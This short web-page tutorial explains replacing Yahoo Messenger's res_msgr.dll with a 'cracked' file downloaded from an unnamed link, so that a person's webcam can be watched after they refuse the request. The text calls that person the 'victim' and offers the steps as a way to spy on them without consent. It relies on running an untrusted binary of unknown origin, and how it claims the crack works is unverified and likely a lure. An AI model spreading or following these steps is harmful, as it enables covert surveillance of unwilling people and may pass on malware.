Follow the below steps to do this

1) Open the following location C:\Program Files\Yahoo!\Messenger
2) You will find the file ” res_msgr.dll “. Delete this file.
3) Download this cracked file from the below link

click here to download res_msgr.dll file

4) After Downloading it, Paste this in (C:\Program Files\Yahoo!\Messenger)

NOTE: Don’t replace the file. Delete the file first and then paste the cracked file in the same folder

Then close every thing and restart the system…

How it works?

The cracked “dll” file should be placed in the victims computer (whose web cam u want to see). Then you go back to your system and login to your messenger and place a “request” to see their cam. Then definitely they will press “NO” this is the place where the crack will work. The moment they press “NO” u will start seeing them.